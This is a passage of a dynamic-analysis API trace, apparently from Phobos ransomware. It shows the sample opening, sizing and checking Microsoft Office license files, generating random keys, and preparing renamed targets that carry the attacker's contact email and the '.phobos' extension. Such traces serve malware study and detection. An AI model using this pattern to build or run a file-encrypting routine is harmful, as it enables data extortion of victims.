lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9601) returned 1 [0152.559] CloseHandle (hObject=0x580) returned 1 [0152.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 0x220 [0152.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.559] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.559] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10619) returned 1 [0152.559] CloseHandle (hObject=0x580) returned 1 [0152.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 0x220 [0152.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.560] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.560] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=12414) returned 1 [0152.561] CloseHandle (hObject=0x580) returned 1 [0152.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 0x220 [0152.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.561] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.562] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11576) returned 1 [0152.562] CloseHandle (hObject=0x580) returned 1 [0152.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 0x220 [0152.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.562] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.563] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19921) returned 1 [0152.563] CloseHandle (hObject=0x580) returned 1 [0152.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 0x220 [0152.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.563] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.563] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=22400) returned 1 [0152.564] CloseHandle (hObject=0x580) returned 1 [0152.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 0x220 [0152.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.564] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.564] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11624) returned 1 [0152.565] CloseHandle (hObject=0x580) returned 1 [0152.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 0x220 [0152.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.565] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.566] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11195) returned 1 [0152.566] CloseHandle (hObject=0x580) returned 1 [0152.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 0x220 [0152.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.566] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.566] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=25386) returned 1 [0152.567] CloseHandle (hObject=0x580) returned 1 [0152.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 0x220 [0152.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.567] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.568] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11647) returned 1 [0152.568] CloseHandle (hObject=0x580) returned 1 [0152.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 0x220 [0152.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.568] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.569] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11175) returned 1 [0152.569] CloseHandle (hObject=0x580) returned 1 [0152.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 0x220 [0152.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.569] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.570] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=22465) returned 1 [0152.570] CloseHandle (hObject=0x580) returned 1 [0152.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 0x220 [0152.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.570] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.571] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11626) returned 1 [0152.571] CloseHandle (hObject=0x580) returned 1 [0152.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 0x220 [0152.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.572] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.573] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11179) returned 1 [0152.573] CloseHandle (hObject=0x580) returned 1 [0152.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 0x220 [0152.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.573] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.574] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=22466) returned 1 [0152.574] CloseHandle (hObject=0x580) returned 1 [0152.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 0x220 [0152.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.574] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.575] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11631) returned 1 [0152.575] CloseHandle (hObject=0x580) returned 1 [0152.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 0x220 [0152.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 